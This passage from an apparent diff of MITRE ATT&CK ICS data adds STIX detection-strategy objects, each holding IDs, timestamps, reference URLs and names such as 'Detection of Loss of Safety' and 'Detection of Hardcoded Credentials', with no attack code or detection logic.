"x-mitre-analytic--1672d2e3-8756-4380-b22c-517aa9f1cce0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3a772c6d-fda2-404a-86aa-85a0bdbb43e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0749", + "external_id": "DET0749" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data from Local System", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0099659c-6a20-4331-9d47-b1c0c380fd6b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b04e83cc-8ace-4880-8953-7ce55eb8c427", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0756", + "external_id": "DET0756" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Default Credentials", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f12aa823-91cc-40e1-93b7-eaa5f5fa9c4d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1bae319f-03d8-49c9-8bb8-e4f27bb69a11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0786", + "external_id": "DET0786" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Denial of Control", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7ec4b791-7054-442f-8967-6d6fa5e8678b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--08c090e3-c56f-4a8b-80f6-307a1daf46ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0723", + "external_id": "DET0723" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Denial of Service", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cff25f71-859e-48bf-88d6-852d05e22b33" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--13412b71-b94e-4aef-912a-44853f8bff05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0769", + "external_id": "DET0769" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Denial of View", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--68073351-4e4f-40e4-9394-a9166bb346d7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e6bc5359-4bd4-4688-9136-ac7a6b561f56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0768", + "external_id": "DET0768" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Detect Operating Mode", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--899d41e8-8d02-45f9-ab8a-3a06f4cc4189" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--194cb4dd-81ca-4e64-94e2-911fab1219f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0801", + "external_id": "DET0801" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Device Restart/Shutdown", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fcfe9c48-3a5a-49c8-96c3-be79414a8419" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--89e95503-b02c-43da-90b3-15584b27e6d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0782", + "external_id": "DET0782" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Drive-by Compromise", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--32db74f9-d46d-4728-891a-113a8b8e2b07" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f1a7e304-d05f-4e48-89b7-8b034f507c32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0742", + "external_id": "DET0742" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Execution through API", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e8f51c53-fc55-441b-a45f-ba7709ccbce2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ab3f0926-58e2-485e-987c-66b541d9de97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0740", + "external_id": "DET0740" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploit Public-Facing Application", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dd25b818-ceb0-4518-9384-dcf895d4956b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--97914ffd-b189-415e-9309-e63e3be01b1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0795", + "external_id": "DET0795" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation for Evasion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fbd4686e-f637-459b-ad48-c6fd7840acfa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0f2e4927-401d-430e-96ed-90feb8df1b03", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0738", + "external_id": "DET0738" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation for Privilege Escalation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b6fb91d0-28f6-447d-ba25-e7b26116ebfe" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--67c2be08-d31a-4385-a637-9d1a907c7a26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0767", + "external_id": "DET0767" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploitation of Remote Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3e456d4d-397d-4e04-9261-9399960c9633" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e9f6c9ad-7368-43e3-9ba1-c9261323a1d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0803", + "external_id": "DET0803" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of External Remote Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--908fe88b-d8e2-47d1-b6a4-7a42b3bbe09b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--87493fa2-bb78-4e28-b882-d79eecd10740", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0772", + "external_id": "DET0772" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Graphical User Interface", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dc014060-5116-4a2f-bac5-35ac1db8fabb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--de675cf4-144e-485c-a761-c72ebcb9e2bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0798", + "external_id": "DET0798" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Hardcoded Credentials", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b337bf06-d69b-41e0-8e60-8f24cb718998" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9f3df5ac-caa0-4189-9b9b-dcf2f6bbdc54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0722", + "external_id": "DET0722" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Hooking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--05ca4f07-df4f-4e88-b216-f40ca6ce39b8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c94af5cb-61c3-4180-81e7-30c1669f4252", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0774", + "external_id": "DET0774" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of I/O Image", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c40ddd75-f2fc-4899-bda1-bff164c96622" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e8b537e6-04eb-4168-a206-88cc041edf50", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0750", + "external_id": "DET0750" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Indicator Removal on Host", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--55544bb8-440f-4b67-aa35-7e7af5952aca" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c7aea5e8-cd8b-4f79-be41-3a446cdde7b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0796", + "external_id": "DET0796" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Internet Accessible Device", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--87f5d864-d79b-474a-a3b4-43673dcb9f90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--62587e44-0623-4b14-bd45-126430eaed4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0745", + "external_id": "DET0745" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Lateral Tool Transfer", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--930aae7c-e8f0-4594-8e3f-f0e71d7e1640" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d9469edc-7e55-41bc-8b17-a8db9fc6302e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0729", + "external_id": "DET0729" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Loss of Availability", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8428e0cd-009e-41c1-8292-88651d4486c9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--37b4971d-2eb8-4f87-899c-19acaf0394bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0778", + "external_id": "DET0778" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Loss of Control", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cbf791b4-5186-4205-ac5a-a56042aaebec" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c7737640-99e8-4efb-90ee-39332b623b33", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0757", + "external_id": "DET0757" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Loss of Productivity and Revenue", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--89ca8617-20fd-404b-9afb-dcfd2684a791" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c4777f1a-1481-4e8a-a3f4-0da57418c808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0775", + "external_id": "DET0775" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Loss of Protection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--29b6e4b8-878c-4139-aa56-7e1513714d34" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fb0931d5-8eb9-4db2-a2a4-447c32b29bd4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0779", + "external_id": "DET0779" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Loss of Safety", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8c77f31f-c6f4-491c-965a-e25c506b0c68" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a995ba7c-c2c2-4d74-a3da-74e5a192099b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0763", + "external_id": "DET0763" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Loss of View", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1e9c5d46-14e2-4efc-8861-e6dc942b3b9c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ad675d25-2829-48e5-8475-28f1ed5d813a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0773", + "external_id": "DET0773" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Manipulate I/O Image", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7841eb6b-8a05-4754-b738-a475bfbb89fb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ae24274b-0e20-451e-a883-6eeb0e8e7d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0747", + "external_id": "DET0747" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Manipulation of Control", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--383a1a1c-8ecf-4909-9237-14a1f4fc4179" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--47c6f72c-1f2f-4ea8-94d0-08202b7d5bdb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 